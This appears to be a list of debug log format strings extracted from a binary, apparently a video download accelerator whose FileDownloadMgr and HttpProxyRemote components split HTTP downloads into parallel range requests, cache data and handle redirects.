[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.
[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d
[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d
[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.
[FileDownloadMgr::GetRequestFromQueue] FDM=%d
[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d
[FileDownloadMgr::ReturnRequestToQueue] FDM=%d
[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers
[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !
[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.
[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d
[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s
WARNING: Master passed all workers
WARNING: HD Acceleration not supported
ERROR: Dailymotion seek not supported
WARNING: Server in non support range servers list
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)
[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***
[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d
[ACCELINFO::OnDeserialize] ___Error get URL
[FileDownloadMgr::AddRequest] FDM=%d
[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...
[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue
[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.
[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.
[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.
[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.
[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.
[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)
[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d
[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)
************ URL: %.800s ************
************ End: d:d:d::d ************
************ Start: d:d:d::d ************
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d
[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::Stop] FDM=%d - All connections where closed.
[FileDownloadMgr::Stop] FDM=%d - Closing all connections.
[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.
[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.
[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.
[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.
[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.
[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.
[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.
[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...
[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.
[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d
[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request
[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.
[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!
[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---
[FileDownloadMgr::RecoverFailedDownload] FDM=%d
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet
[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range
[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid
[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld
?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s
JsDriver.exe
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.
[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld
[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d
[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range
[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification
[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received
[~FileDownloadMgr] FDM=%d - Leave
[~FileDownloadMgr] FDM=%d - Enter
[FileDownloadMgr] FDM=%d
[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d
[FileDownloadMgr] FDM=%d, StartCachingSize: %d
[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration
[FileDownloadMgr] FDM=%d ___Error invalid Config
[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr
[FileDownloadMgr::DownloadCacheData] FDM=%d
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence
[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request
[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...
[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---
[FileDownloadMgr::Work] FDM=%d - Exit thread now...
[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###
[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[HttpProxyRemote - %p] FDM=%d (%d).
[~HttpProxyRemote - %p] FDM=%d (%d).
[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld
[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!
[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.
[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.
[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.
[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld
[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld
[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d
[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo
[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld
[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).
HttpProxyRemote::WriteCachedBufferToSocket
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.
HttpProxyRemote::ConnectToDomain
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d
[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !
[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.
[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d
[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d
[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state
[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.
[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response
